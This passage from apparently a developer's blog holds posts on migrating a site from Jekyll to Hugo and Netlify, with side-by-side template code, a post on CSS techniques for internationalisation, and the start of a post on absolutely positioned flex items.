{{ site.VARIABLE_NAME }} maps to {{ Site.VARIABLE_NAME }} or {{ Site.Params.VARIABLE_NAME }}

Take note of how the cases are dealt with, I spent an inordinate amount of time wondering why things refused to render only to realise I used the wrong case on my variable names. 🤦

Conditionals in your templates

Conditionals themselves are not too tricky to wrap your head around, but HOW to implement them in the various templating languages, now that will send you on a Google trip all over the interwebs. So Jekyll uses Liquid as the templating language and it has its quirks, like unless. But every templating language has these. It's a matter of figuring each of them out.

Let's start with a condition in plain English: if the content type is “post” and it has the variable “hascaniuse” in the front matter.

In Jekyll, it looks like this:

{% if page.is_post and page.hascaniuse %}
<!--Do something if condition is true-->
{% endif %}

In Hugo, it looks like this:

{{ if (and (eq .Type "blog") (isset .Params "hascaniuse")) }}
<!--Do something if condition is true-->
{{ end }}

page.is_post came out the box with Jekyll so I never gave it a second thought. Even though the Hugo documentation mentions .Type returns you the content type of the page, I could not find how to equate its value to something. Until I found this article on the cond function, which had eq in its example.

I only thought to refer to the Go templating documentation much much later.

Page and Post are recognised content types by Jekyll out the box. For Hugo, it feels more flexible, because you can either specify the type variable of a piece of content in the front matter or structure your content folder based on the content types you want.

For example, all my posts are in the content/blog folder, so the content type of each post is “blog”. Again, naming is important and exact. Singular means singular, plural means plural. Double-check your folder names if you don't want to add type: blog to 186 of your posts' front matter. More on this when I talk about list pages.

{{ page.is_post }} maps to (eq .Type "YOUR_POST_TYPE")

I also have front matter variables that only appear sporadically on certain posts, specifically posts with embedded tweets, CodePens or Can I Use tables.

So if the post has a CodePen, in the front matter I would have hascodepen: true. In Jekyll, I'd do {% page.hascodepen %} as the condition, while in Hugo, the equivalent would be (isset .Params "hascaniuse").

{{ page.VARIABLE_NAME }} maps to (isset .Params "VARIABLE_NAME")

Hugo's internal templates

Once I figured that out (after too much Googling), the rest of the partials came over without too much trouble. I managed to shorten the head.html because Hugo has internal templates for Open Graph and Twitter meta tags, which I found pretty useful.

My Jekyll head.html was ridiculous. Most of it is probably unnecessary? I don't know. It's legacy, I can't remember why anymore.

<meta content="{{ site.title }}" property="og:site_name" />

{% if page.title %}
<meta content="{{ page.title }}" property="og:title" />
<meta content="article" property="og:type" />
{% else %}
<meta content="{{ site.title }}" property="og:title" />
<meta content="website" property="og:type" />
{% endif %} {% if page.is_post %} {% if page.description %}
<meta content="{{ page.description }}" property="og:description" />
{% else %}
<meta content="{{ page.content | strip_html | truncatewords:20}}" property="og:description" />
{% endif %} {% if page.project %}
<meta content="{{ site.url }}/images/posts/projects/{{ page.image }}.png" property="og:image" />
<meta name="twitter:card" content="summary_large_image" />
{% endif %} {% else %}
<meta content="{{ site.description }}" property="og:description" />
{% endif %} {% if page.url %}
<meta content="{{ site.url }}{{ page.url }}" property="og:url" />
{% endif %} {% if page.image %} {% unless page.project %}
<meta content="{{ site.url }}/images/posts/{{ page.image }}.jpg" property="og:image" />
<meta name="twitter:image" content="{{ site.url }}/images/posts/{{ page.image }}.jpg" />
<meta name="twitter:card" content="summary_large_image" />
{% endunless %} {% else %}
<meta content="{{ site.url }}/images/avatar.jpg" property="og:image" />
<meta name="twitter:image" content="{{ site.url }}/images/avatar.jpg" />
<meta name="twitter:card" content="summary" />
{% endif %}

Now, I just let Hugo handle it internally. Seems to work so far.

{{ template "_internal/opengraph.html" . }} {{ template "_internal/twitter_cards.html" . }}

A single page in root, e.g. About

Okay, time for some actual content. I started with what I thought was the simplest page, the About page. It was a markdown file with some HTML thrown in because I wanted CSS classes on some things. I copied the About.md file over to the content folder

After you have the baseof.html, you're not out of the woods yet. Your browser still renders NOTHING.

That's because you need a single.html file that acts as the actual page template for your single pages. Add that to the layouts/_default/ folder as well. This is mine:

{{ define "main" }}
<header class="page-header">
  <h1 class="page-header__title">{{ .Params.title }}</h1>
</header>

<div class="page-content">{{ .Content }}</div>
{{ end }}

Which was ported over from this Jekyll version:

---
layout: default
---

<header class="page-header">
  <h1 class="page-header__title">{{ page.title }}</h1>
</header>

<div class="page-content">{{ content }}</div>

Page variables are available in both Jekyll and Hugo. They are defined in the content file's front matter. You can access them in Jekyll using page.VARIABLE_NAME but in Hugo, you would use .VARIABLE_NAME for the ones that Hugo natively supports or .Params.VARIABLE_NAME for those you define yourself in the front matter. Check the Page Variables documentation to figure out which ones you need.

{{ page.VARIABLE_NAME }} maps to {{ .VARIABLE_NAME }} or {{ .Params.VARIABLE_NAME }}

The difference between Jekyll and Hugo is that you cannot access variables in your content files. So no {{ VARIABLE }} in your content file expecting it to be parsed and replaced accordingly. It will just render as is, curly braces and all. If you do need to somehow access your page variable, write a custom shortcode.

List pages, e.g. home page or blog posts page

Pages with lists of content are their own thing in Hugo, and their template name is list.html. Earlier when I talked about naming the folder where all my posts lived to blog. This makes each of my posts have a type of blog. Hugo also does this thing called sections.

Sections are collections of pages that are defined according to the structure of your content folder. All first-level directories under content/ are their own section. So my site has a section called blog because I have that folder in content/. If that didn't make sense, docs.

Also, keep the Hugo's Lookup Order page open in some tab. You'll look at it a lot. For me, I went with index.html in the root of the layouts folder as the template specificity.

So in this sense, I felt Jekyll was a bit more straightforward. Because you were allowed to access template variables anywhere, the home page was index.html in the root of my project. But maybe it's neater to do it Hugo's way? I don't have strong opinions on this.

A list of content on the home page, that's like the most straightforward thing right?

No.

I have logic in there, okay? So in plain English, the conditions are, if it is an external post, clicking the title leads out of the site to where the post lives. If it's a normal post, act normally. Each post also has tags, and when you click a tag it leads to a page that lists other posts with the same tag.

Without the tags bit, the listing logic looks like this on Jekyll:

<ul class="post-list">
  {% for post in site.posts limit:10 %}
  <li class="no-list-style">
    <span class="post-meta">{{ post.date | date: "%b %-d, %Y" }}</span>
    <h2 class="post-title">
      {% if post.external_url %}
      <a
        class="post-link external-url no-underline {{ post.external_site }}"
        href="{{ post.external_url }}"
        >{{ post.title }}</a
      >
      {% else %}
      <a class="post-link no-underline" href="{{ post.url | prepend: site.baseurl }}"
        >{{ post.title }}</a
      >
      {% endif %}
    </h2>
    {% if post.external_site %}
    <p class="note italicise">
      This article was originally published on {{ site.data.publications[post.external_site].name
      }}.
    </p>
    {% endif %}
    <p class="post-summary">{{ post.content | markdownify | strip_html | truncatewords:20 }}</p>
  </li>
  {% endfor %}
</ul>

It's more or less the same length for Hugo, methinks, with significant syntax differences for the same functionality.

<ul class="post-list">
  {{ range $page := first 10 (where .Site.RegularPages "Section" "in" .Site.Params.mainSections) }}
  <li class="no-list-style">
    <span class="post-meta">{{ .Date.Format "Jan 2, 2006" }}</span>
    <h2 class="post-title">
      {{ if .Params.external_url }}
      <a
        class="post-link external-url no-underline {{ .Params.external_site }}"
        href="{{ .Params.external_url }}"
        >{{ .Title }}</a
      >
      {{ else }}
      <a class="post-link no-underline" href="{{ .Permalink }}">{{ .Title }}</a>
      {{ end }}
    </h2>
    {{ if .Params.external_site }}
    <p class="note italicise">
      This article was originally published on {{ (index .Site.Data.publications
      .Params.external_site).name }}.
    </p>
    {{ end }}
    <p class="post-summary">{{ .Summary | truncate 130 }}</p>
  </li>
  {{ end }}
</ul>

The suggestion is to use site.Params.mainSections instead of hard-coding the value to equate type to some string, so I just copied it off the documentation. Someone smarter please figure this one out.

{% for post in site.posts limit:10 %}{% endfor %} maps to {{ range $page := first 10 (where .Site.RegularPages "Section" "in" .Site.Params.mainSections) }}{{ end }}

Date formatting is also different. I literally had zero experience with Go prior to this so trust the docs, don't trust me.

{{ post.date | date: "%b %-d, %Y" }} maps to {{ .Date.Format "Jan 2, 2006" }}

Both Jekyll and Hugo lets you generate summaries. Again with different syntax. Also, different counting algorithm to determine the cut-off. I eye-balled it for this one.

{{ post.content | markdownify | strip_html | truncatewords:20 }} maps to {{ .Summary | truncate 130 }}

Data files

Ah, we have come to one of my favourite things about Jekyll, which are data files. Hugo supports them too, so plus points here. In the original site, I needed to use a data file to manage tags (which I didn't bother to explain or show, haha). But I also had one for managing my talks page. Here's what some of the entries look like:

- title: "What is this? Why must bind?"
  id: what-is-this
  count: "80"
  video: https://youtu.be/qKG7a8mTqqE?t=899
  event: React Knowledgeable
  type: meetup
  released: true
  pdf: true

- title: "East Asian typography on the modern web"
  id: typetechmunich-2020
  count: "81"
  event: TypeTechMunich Meetup 2020
  website: https://type-tech.net/
  type: conference
  released: false
  pdf: false

- title: "DevTools, more than just a debugger"
  id: jsfwdays-2020
  host: https://devtools-jsfwdays.herokuapp.com/devtools
  count: "82"
  video: https://youtu.be/QRyE2cHk8Q4
  event: JavaScript fwdays'20
  website: https://fwdays.com/en/event/js-fwdays-2020
  type: conference
  released: true
  pdf: false

Because Hugo supports YAML nicely, I just moved my _data folder as-is to the data folder without changing anything in the data files themselves. Perfect. The logic for working with data files also matched, but figuring out the syntax was not smooth sailing.

Also, “Talks” like “About” is a single page. Based on the rules, the template I chose to use was talks.html in the layouts/_default folder. It needed a customised template because of the customised logic. I'm too lazy to write out the logic in plain English. This logic monster grew over the years. It started out much simpler.

<h2>Conferences</h2>
<div class="grid">
  {% assign conferences = site.data.slides | sort: 'count' | reverse %}
  {% for conference in conferences %}
  {% if conference.type == 'conference' %}
    {% if conference.released %}
  <div class="talk">
      {% if conference.host %}
    <a class="no-underline" href="{{ conference.host }}">
      {% else %}
    <a class="no-underline" href="{{ site.baseurl }}/slides/{{ conference.count }}-{{ conference.id }}">
      {% endif %}
      <img srcset="{{ site.baseurl }}/images/slides/{{ conference.id }}@2x.jpg 2x" src="{{ site.baseurl }}/images/slides/{{ conference.id }}.jpg" alt="{{ conference.title }}">
    </a>
      {% if conference.video.size %}
    <p class="no-margin"><a class="talk__video" href="{{ conference.video }}">
    Watch video</a></p>
      {% else %}
    <p class="no-margin"><span style="font-size:85%;" class="emoji" role="img" tabindex="0" aria-label="no">&#x274C;</span><span style="font-size:85%;" class="emoji" role="img" tabindex="0" aria-label="video">&#x1F4F9;</span><span style="font-size:85%;" class="emoji" role="img" tabindex="0" aria-label="sorry">&#x1F937;</span> <a href="https://github.com/huijing/slides/tree/gh-pages/{{ conference.count }}-{{ conference.id }}">Read transcript</a></p>
      {% endif %}
      {% if conference.pdf %}
    <p><a class="talk__pdf no-margin" href="{{ site.baseurl }}/slides/pdf/{{ conference.id }}.pdf">Download PDF</a></p>
      {% else %}
    <p>No slides, no pdf</p>
      {% endif %}
  </div>
    {% else %}
  <div class="talk">
    <img srcset="{{ site.baseurl }}/images/slides/{{ conference.id }}@2x.jpg 2x" src="{{ site.baseurl }}/images/slides/{{ conference.id }}.jpg" alt="{{ conference.title }}"/>
    <p class="no-margin">Coming soon!</p>
    <p><a class="no-margin" href="{{ conference.website }}">Event details</a></p>
  </div>
    {% endif %}
  {% endif %}
  {% endfor %}
</div>

The logic ported over just fine after I figured out the corresponding syntax.

<h2>Conferences</h2>
<div class="grid">
  {{ $slidesUrl := .Site.Params.githubURL }}
  {{ range sort .Site.Data.slides ".count" "desc" }}
  {{ if eq .type "conference" }}
    {{ if eq .released true }}
  <div class="talk">
      {{ if eq .host true }}
    <a class="no-underline" href="{{ .host }}">
      {{ else }}
    <a class="no-underline" href="{{ $slidesUrl }}/slides/{{ .count }}-{{ .id }}">
      {{ end }}
      <img srcset="{{ .Site.BaseURL }}/images/slides/{{ .id }}@2x.jpg 2x" src="{{ .Site.BaseURL }}/images/slides/{{ .id }}.jpg" alt="{{ .title }}">
    </a>
      {{ if isset . "video" }}
    <p class="no-margin"><a class="talk__video" href="{{ .video }}">Watch video</a></p>
      {{ else }}
    <p class="no-margin"><span style="font-size:85%;" class="emoji" role="img" tabindex="0" aria-label="no">&#x274C;</span><span style="font-size:85%;" class="emoji" role="img" tabindex="0" aria-label="video">&#x1F4F9;</span><span style="font-size:85%;" class="emoji" role="img" tabindex="0" aria-label="sorry">&#x1F937;</span> <a href="https://github.com/huijing/slides/tree/gh-pages/{{ .count }}-{{ .id }}">Read transcript</a></p>
      {{ end }}
      {{ if eq .pdf true }}
    <p><a class="talk__pdf no-margin" href="{{ $slidesUrl }}/slides/pdf/{{ .id }}.pdf">Download PDF</a></p>
      {{ else }}
    <p>No slides, no pdf</p>
      {{ end }}
  </div>
    {{ else }}
  <div class="talk">
    <img srcset="{{ .Site.BaseURL }}/images/slides/{{ .id }}@2x.jpg 2x" src="{{ .Site.BaseURL }}/images/slides/{{ .id }}.jpg" alt="{{ .title }}"/>
    <p class="no-margin">Coming soon!</p>
    <p><a class="no-margin" href="{{ .website }}">Event details</a></p>
  </div>
    {{ end }}
  {{ end }}
  {{ end }}
</div>

{{ site.data.DATA_FILE_NAME }} maps to {{ .Site.Data.DATA_FILE_NAME }}

There was a bit of a gotcha in terms of accessing custom site variables within a loop hence the line which assigns it to a variable first, {{ $slidesUrl := .Site.Params.githubURL }}, before referencing $slideUrl inside the loop. No idea about the why. Maybe I'll find out. One day.

Content migration

This should have taken way less time than it actually did. But I oscillated between using Hugo's custom shortcodes versus writing out HTML in full for my responsive images because I kept thinking what would happen if I migrated again. That would mean writing the stuff in the shortcodes within my content.

Did I mention at this point I was already at 186 posts? Can you imagine what I would do if I migrated at 380 posts? I can't. In the end, I left most of the images as they were, fixed the file paths and called it done. However, if you peek, one of the years uses shortcodes. But just that one year (I think, I can't remember any more nor do I want to check).

The earliest posts were the worst. Because I hadn't discovered that long paragraphs were annoying to read yet, and my formatting was off for nested lists. I wonder if this was because somewhere along the lines Jekyll switched markdown engines and I just didn't notice things broke. So I pretty much went through each post (some of them multiple times) and that took a lot of time.

Had to modify front matter for images, because I wanted to use Hugo's internal templates for Open Graph and Twitter. Also, permalinks for each blog post. This is where I wanted to slap myself. Hugo, by default, uses the post title word for word as the path. Jekyll, however, uses the file name.

By the time I got halfway through 2016, changing all the internal references along the way, I realised this was a bad idea, because it would break links to my posts from everywhere. Hugo has a slug variable that lets you override the title-as-path implementation.

So I had to go back and change the internal references back to the original, then add the correct slug which matched the file name instead.

RSS, yes it's still a thing in 2020

I have an RSS feed. I have a kind of customised RSS feed, because there are certain posts that I don't want in the feed, specifically those that I write for other publications. I just want a link to them, but I also draft all my writing on this site, and I don't delete the post.

Because I didn't set things up properly, I got into some trouble with one of the publications I wrote for. And it was my fault for not being conscientious enough. Anyway, RSS template has logic too! By now I pretty much figured out the conditionals I used most often, so it was a matter of tweaking it to be the same as before.

Getting the name of the generated file to be feed.xml instead of the default index.xml took long and I still can't figure out what happened. It's a configuration setting in the config.yml file which I managed to get right following these instructions but it didn't reflect until I restarted the server. Life happens.

Changing hosts from GitHub Pages to Netlify

At this point I was expecting the migration to explode and my site to be down for hours but surprisingly, it took all of ten minutes to pull this off. Netlify is magical. Slight complication was the fact that I ran my site through Cloudflare.

But the documentation was pretty clear, and I found this post by Jake Trent which I followed to a tee together with the Netlify instructions.

On Cloudflare, change the A record to point to 104.198.14.52, which is Netlify's load balancer as of time of writing. This may or may not change in future. Check the docs!
Also change the CNAME for www (if you have it) to point to YOUR_SITE_NAME.netlify.app from GITHUB_USERNAME.github.io
Make sure the Proxy status says DNS only (your cloud icon should be greyed out not orange)
On Netlify, add your custom domain under Domain Settings. Click verify when you see it. You don't have to point your name servers and stuff.
Also do the SSL stuff in the section below. This takes a tiny bit of time to sort itself out (less than ten minutes for me) and your site should work fine with HTTPS and all.

Netlify forms are AH-MAZING

My broke-ass solution for a contact form was to run it through Simple Form. It used to work fine, but some where along the lines, the spam filter stopped working. I got massive amounts of spam. MASSIVE.

Netlify offers 100 submissions per month on the free tier, which is more than enough because SPAM SUBMISSIONS DON'T COUNT. And all I needed to do was add the data-netlify=true attribute to my form. Easy-peasy lemon-squeezy.

Wrapping up

My eyeballs were falling out of my skull at this point. But after three days, and oh-so-much Googling, ⌘-S and ⌘-Tab / ⌘-~ pressing, muttering and swearing, the site was migrated successfully.

finally bit the bullet and migrated my website from @jekyllrb on #githubpages to @GoHugoIO on @Netlify. it took 3 days and my eyeballs are falling out of my skull.
can u see a difference? (the answer should be no, unless u have a photographic memory to spot the tiny diff)
— HJ Chen (@hj_chen) April 27, 2020

The last bit of housekeeping was to check for broken links and boy did I break things. I had to fix all the GitHub project links which assumed that huijing.github.io was still equivalent to https:www.chenhuijing.com and replace those accordingly.

I also kept the Jekyll site up at the original GitHub pages host with some added styles to indicate it was an archival site and not active any more. If you read through this whole thing, I'm genuinely amazed. It's so long. So many words. I write too much nonsense but don't plan to change.

Anyway. I'm off enjoying my lightning fast builds now. kthxbye. 🥃

CSS for internationalisation

Sun, 19 Apr 2020 00:00:00 GMT

I've come across people who do not think that CSS is related to internationalisation at all, but if you think about it, internationalisation is more than translating the content on your site into multiple languages and calling it a day. There are various nuances to the presentation of that content which affect the experience of a native speaker using your site.

There is no single canonical definition for internationalisation but the W3C offers the following guidance:

Internationalisation is the design and development of a product, application or document that enables easy localisation for target audiences that vary in culture, region, or language.

This is a lot of ground to cover, from use of Unicode and character encodings, to the technical implementations of serving translated content, as well as the presentation of said content. Today I'm only going to cover the CSS-related aspects of multilingual support.

CSS is used to describe the presentation of a web page by telling the browser how elements on the page ought to be styled and laid out. There are several methods we can use to apply different styles to different languages on a multilingual page with CSS.

In addition, there are CSS properties that provide layout and typographic capabilities for scripts and writing systems beyond the Latin-based horizontal top-to-bottom ones that are predominantly seen on the web today.

So buckle up, because this might end up being a pretty lengthy article. ¯\_(ツ)_/¯

Language-related styling

Have you ever wondered how Chrome knows to ask you if you'd like a web page's content to be translated? No? Okay, maybe it's just me then. But it's because of the lang attribute on the <html> element.

The lang attribute is a pretty important one because it identifies the language of textual content on the web, and this information is used in many places. The aforementioned built-in translation of Chrome, search engines for language-specific content, as well as screen readers.

Ah hah, maybe the screen reader bit didn't occur to you, but if you're not a screen reader user or know folks who are, it probably isn't top of mind. Screen readers make use of language information so it can read out the content in the appropriate accent and correct pronunciation.

The key to language-related styling lies in appropriate usage of the lang attribute in your page markup. The lang attribute recognises the ISO 639 language codes as values.

Update: Tobias Bengfort pointed out that the lang attribute uses an IETF specification called BCP 47, which is largely based on ISO 639.

For most cases, you would use a two-letter codes like zh for Chinese, but Chinese (among other languages like Arabic) is considered a macrolanguage that consist of a number of languages with more specific primary language subtags.

Refer to Language tags in HTML and XML for an in-depth explanation on how to construct language tags.

The general guidance is that the html element must always have a lang attribute set, which is then inherited by all other elements.

<html lang="zh"></html>

It is not uncommon to see content of different languages on the same page. In this case, you would wrap that content with a <span> or a <div> and apply the correct lang attribute onto that wrapping element.

<p>The fourth animal in the Chinese Zodiac is Rabbit (<span lang="zh">兔子</span>).</p>

Now that we've got that sorted, the following techniques will bear the assumption that lang attributes have been implemented responsibly.

`:lang()` pseudo-class selector

Turns out the :lang() pseudo-class selector is not that well-known.

But this pseudo-class selector is pretty cool because it recognises the language of the content even if the language is declared outside the element.

For example, a line of markup with two languages like so:

<p>
  We use <em>italics</em> to emphasise words in English, <span lang="zh">但是中文则是用<em>着重号</em></span>.
</p>

Can be styled with the following:

em:lang(zh) {
  font-style: normal;
  text-emphasis: dot;
}

If your browser supports the text-emphasis CSS property, you should be able to see emphasis marks (a typographic symbol traditionally used for emphasis on a run of East Asian text) added to each Chinese character within the <em>. Chrome needs the -webkit- prefix, boo.

We use italics to emphasise words in English, 但是中文则是用着重号.

But the point is, the lang attribute was not applied on the <em> element, but on its parent. The pseudo-class still works. If we used the more commonly known attribute selectors, e.g. [lang="zh], this attribute must be on the <em> element to take effect.

Using attribute selectors

Which brings me to our next technique, using attribute selectors. These let us select elements with certain attributes or attributes of a certain value. (shameless plug time, for more on attribute selectors, try this Codrops CSS reference entry written by yours truly)

There are seven ways to match attribute selectors, but I'll only talk about those I think are more relevant to matching the lang attribute. All my examples with use Chinese as the targeted language, so zh and its variants.

Update: Amelia Bellamy-Royds pointed out that my examples make it seem like attribute selectors are neccessary to do partial language tag matching, but the :lang() pseudo-class covers that use-case already.

First, we can match the lang attribute value exactly using this syntax:

[lang="zh"]
/* will match only zh */

I mentioned earlier that Chinese is considered a macrolanguage , which means its language tag can be composed with additional specifics, e.g. script subtags Hans or Hant (W3C says only use script subtags if they are necessary to make a distinction you need, otherwise don't), region subtag HK or TW and so on.

The point is, language tags can be longer than just two letters. But the most generalised category always comes first, so to target attribute values that start with a particular string, we use this syntax involving the ^:

[lang^="zh"]
/* will match zh, zh-HK, zh-Hans, zhong, zh123…
 * basically anything with zh as the first 2 characters */

There is another syntax involving the |, which will match the exact value in your selector or a value that starts with your value immediately followed by a -. This seems like it was made just for language subcode matching, no?

[lang|="zh"]
/* will match zh, zh-HK, zh-Hans, zh-amazing, zh-123 */

Do remember that for attribute selectors, the attribute has to be on the element you want styled, it won't work if it's on a parent or ancestor. Note that the examples I've come up with for partial language tag matching can already be done with the :lang() pseudo-class.

In other words, :lang(en) will match lang="en-US", lang="en-GB" and so on, in addition to lang="en". I will update the examples when I can come up with better ones. Meanwhile, go for the :lang() pseudo-class.

How about normal classes or ids?

Yes. You can use normal classes or ids. Though you'd no longer be making use of the convenience of what is already on your element. (Again, my assumption is the lang attribute is being applied correctly and responsibly) But sure, go ahead and give your elements class names for applying specific language-related styling if you really want to, nobody will stop you.

CSS properties

Okay, selectors covered. Let's talk about the styles we want applied to elements that match those selectors.

Writing mode

The default value for writing-mode is horizontal-tb. Perfectly logical because the web was born at CERN, where the official languages are English and French. Moreover, most of web technologies were pioneered in English-speaking countries anyway (I think).

But the wondrous-ness of humanity gave us more than 3000 written languages with scripts and writing directions beyond a horizontal top-to-bottom orientation.

The traditional Mongolian script runs vertically from left-to-right, while East Asian languages like Japanese, Chinese and Korean, when written vertically, runs from right-to-left. The writing mode properties that let you do that are vertical-lr and vertical-rl respectively.

ᠬᠦᠮᠦᠨ ᠪᠦᠷ ᠲᠥᠷᠥᠵᠦ ᠮᠡᠨᠳᠡᠯᠡᠬᠦ ᠡᠷᠬᠡ ᠴᠢᠯᠥᠭᠡ ᠲᠡᠢ᠂ ᠠᠳᠠᠯᠢᠬᠠᠨ ᠨᠡᠷ᠎ᠡ ᠲᠥᠷᠥ ᠲᠡᠢ᠂ ᠢᠵᠢᠯ ᠡᠷᠬᠡ ᠲᠡᠢ ᠪᠠᠢᠠᠭ᠃ ᠣᠶᠤᠨ ᠤᠬᠠᠭᠠᠨ᠂ ᠨᠠᠨᠳᠢᠨ ᠴᠢᠨᠠᠷ ᠵᠠᠶᠠᠭᠠᠰᠠᠨ ᠬᠦᠮᠦᠨ ᠬᠡᠭᠴᠢ ᠥᠭᠡᠷ᠎ᠡ ᠬᠣᠭᠣᠷᠣᠨᠳᠣ᠎ᠨ ᠠᠬᠠᠨ ᠳᠡᠭᠦᠦ ᠢᠨ ᠦᠵᠢᠯ ᠰᠠᠨᠠᠭᠠ ᠥᠠᠷ ᠬᠠᠷᠢᠴᠠᠬᠥ ᠤᠴᠢᠷ ᠲᠠᠢ᠃

すべての人間は、生まれながらにして自由であり、かつ、尊厳と権利とについて平等である。人間は、理性と良心とを授けられており、互いに同胞の精神をもって行動しなければならない。

There are also the values of sideways-lr and sideways-rl, which rotate the glyphs sideways. Every Unicode character has a vertical orientation property that informs rendering engines how the glyph should be oriented by default.

We can change the character's orientation with the text-orientation property. This usually comes into play when you have vertically typeset East Asian text interspersed with Latin-based words or characters. For abbreviations, you have the option of using text-combine-upright to squeeze the letters into one character space.

國家籃球協會（英語：National Basketball Association，縮寫：NBA）是北美的男子職業籃球聯盟。

Some of you might wonder about right-to-left languages like Arabic, Hebrew or Farsi (just to name a few), and whether CSS is applicable for those scripts as well. The short answer is CSS should not be used for bi-directional styling. Guidance from the W3C is as follows:

Because directionality is an integral part of the document structure, markup should be used to set the directionality for a document or chunk of information, or to identify places in the text where the Unicode bidirectional algorithm alone is insufficient to achieve desired directionality.

This is because styling applied via CSS has the possibility of being turned off, being overridden, going unrecognised, or being changed/replaced in different contexts. Instead, use of the dir attribute to set the base direction of text for display is the recommended approach.

I highly recommend referring to Structural markup and right-to-left text in HTML, CSS vs. markup for bidi support and Inline markup and bidirectional text in HTML for more detailed explanations and implementation details.

Logical properties

Everything on a web page is a box, and CSS has always used the physical directions of top, bottom, left and right to indicate which side of the box we're targeting. But when writing modes not oriented in the default horizontal top-to-bottom direction, these values tend to get confusing.

Because the specification is still in Editor's Draft status, the syntax may change moving forward. Even now, the current browser implementation is different from what is in the specification, so be sure to double-check with MDN: CSS Logical Properties and Values on the most updated syntax.

Update: David Baron pointed out I was using the old syntax in the previous version of the specification and the syntax implemented in browsers is actually the one in the Editor's Draft. Table has been updated accordingly.

The matrix of writing directions and their corresponding values for a box's physical sides and logical sides for positioning are as follows (the table has been lifted from the specification as of time of writing):

		writing-mode / direction
		horizontal-tb		vertical-rl		vertical-lr
		ltr	rtl	ltr	rtl	ltr	rtl
Edge	top	inset-block-start	inset-block-start	inset-inline-start	inset-inline-end	inset-inline-start	inset-inline-end
	right	inset-inline-end	inset-inline-start	inset-block-start	inset-block-start	inset-block-end	inset-block-end
	bottom	inset-block-end	inset-block-end	inset-inline-end	inset-inline-start	inset-inline-end	inset-inline-start
	left	inset-inline-start	inset-inline-end	inset-block-end	inset-block-end	inset-block-start	inset-block-start

The logical top of a container uses inset-block-start, while the logical bottom of a container uses inset-block-end. The logical left of a container uses inset-inline-start, while the logical right of a container uses inset-inline-end.

There are also corresponding mappings for borders, margins and paddings, which are:

top to block-start
right to inline-end
bottom to block-end
left to inline-start

See the Pen CSS Logical properties demo for borders by Chen Hui Jing (@huijing) on CodePen.

And the mappings for sizing are as follows: width to inline-size and height to block-size.

Lists and counters

Numeral systems are writing systems for expressing numbers, and even though the most commonly used system of numerals is the Hindu-Arabic numeral system (0, 1, 2, 3 and so on), CSS allows us to display ordered lists with other numeral systems as well.

Predefined counter styles can be used with the list-style-type property, which covers 174 numeral systems from afar to urdu. You can check out the full list at MDN.

If you're interested in CSS counters, I wrote about them some time last year where I explore the “Heavenly-stem” and “Earthly-branch” numeral system used in traditional Chinese contexts (as well as a fizzbuzz implementation in CSS because why not).

Text decoration

As mentioned earlier, East Asian languages do not have the concept of italics. Instead, we have emphasis dots. They can be placed above or beneath characters to emphasise the text, strengthen the tone of voice or avoid ambiguity.

When Chinese is written in horizontal writing mode, these dots are placed underneath the characters, and when written in vertical writing mode, these dots are placed to the right of the characters.

中文的着重号横排多在下方（底端）。

Japanese, on the other hand, places emphasis dots above the characters in horizontal writing mode. In order to make the CSS property more generalised, text-emphasis-style, text-emphasis-position and text-emphasis-color were introduced in CSS Text Decoration Module Level 3.

圏点の位置は，横組では親文字の上側とし。

You can use different symbols other than dots, like circle, triangle or even a single character as a string. Position and colour can also be tweaked with their respective properties.

Colours? Random shapes? Sure, why not?

Line decoration is also covered in the same specification, and provides developers more granular control of underlines and overlines (in level 4 of the spec). But this is especially useful for scripts that have ascenders or descenders that regularly spill over the baseline.

text-decoration-skip is covered in CSS Text Decoration Module Level 4, which controls how overlines and underlines are drawn when they cross over a glyph. Again, something that happens less frequently for languages like English, but greatly affect aesthetics for scripts like Burmese, for example.

Font variations

There are two categories of CSS properties for accessing OpenType features, high-level properties and low-level properties. The specification recommends use of high-level properties whenever possible. This is mostly predicated on browser support.

For example, font-variant-east-asian allow for control over glyph forms for characters that have variants, like Simplified Chinese glyphs versus Traditional Chinese glyphs. It is the same character, but they can be written differently.

Real fun to do live

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

There is also font-variant-ligatures which provide numerous pre-defined options for ligatures and contextual forms, like discretionary-ligatures or historical-ligatures or contextual.

The low-level properties are accessed via font-feature-settings where you would use the 4-letter OpenType tags to toggle the features you want (this does depend on whether your font has those features to begin with, but let's assume it does).

There are 141 feature tags from Alternative Fractions to Justification Alternates to Ruby Notation Forms to Slashed Zero. These CSS properties are closely related to features within the font file itself, so there is that external dependency that lies upon your choice of font. Something to keep in mind.

Wrapping up

This post got really long, so I'll have a second part where I go into more specifics on how we could build up a layout using the selectors we covered to make sure our layout is robust even if the language changes. Modern layout properties like Flexbox and Grid are well suited for use cases like this.

One of the things I find most interesting about CSS is how we can combine them in different ways to achieve a myriad of outcomes, and with more than 500 CSS properties in existence, that's a lot of possibilities. I'm not saying anything goes, because often, there are numerous ways to reach the same result, and some ways are more appropriate than others.

However, it is up to us to make an informed decision regarding which is the most appropriate method to use for our context, by understanding the mechanics behind each technique, its pros and cons, and being aware of why we chose to do things a certain way.

I still believe, that after more than three decades, the web is still an informational medium, where content is key. Hence, the presentation of that content should be optimised regardless of what language or script it is in. And I'm glad that CSS is continually developing to provide developers a means to do just that.

Anyway, stay tuned for part 2.

Coming…

Eventually.

References

Flexbox and absolute positioning

Fri, 13 Mar 2020 00:00:00 GMT

Recently, I've been trying to build an open source video conferencing application specifically for online meetups. Just like every other developer on the planet, it seems. Video conferencing apps are the new chatbots. Maybe.

This was also a good reason for me to get to know OpenTok better, as I had previously not had a use-case to build for. I'll probably write up the whole process into a lengthy multi-part tutorial style post thingy when I actually get it into a reasonable MVP shape.

But this mini-post is about Flexbox and absolute positioning, and a minor bug (at least I think it is so I filed one) in the Firefox DevTools.

What happens when you `position: absolute` a flex item?

I can't have been the only person to have tried this, right? Although for me, this was the first time I actually used such a combination even though I had read about it when I was combing through the Flexbox specification.

Which is why I knew there was a section detailing it, 4.1. Absolutely-Positioned Flex Children. I did not memorise the specification, I just knew such a section existed, okay?

Let me lift out the key points that I find most pertinent:

…an absolutely-positioned child of a flex container does not participate in flex layout.

however:

The static position of an absolutely-positioned child of a flex container is determined such that the child is positioned as if it were the sole flex item in the flex container, assuming both the child and the flex container were fixed-size boxes of their used size.

which means that:

…if you set, for example, align-self: center; on an absolutely-positioned child of a flex container, auto offsets on the child will center it in the flex container’s cross axis.

Let's break that down. The first part is fairly straight-forward. If you position a flex item absolutely, it no longer participates in the flex layout. This means any flex properties on the item become moot. You can remove them if you like.

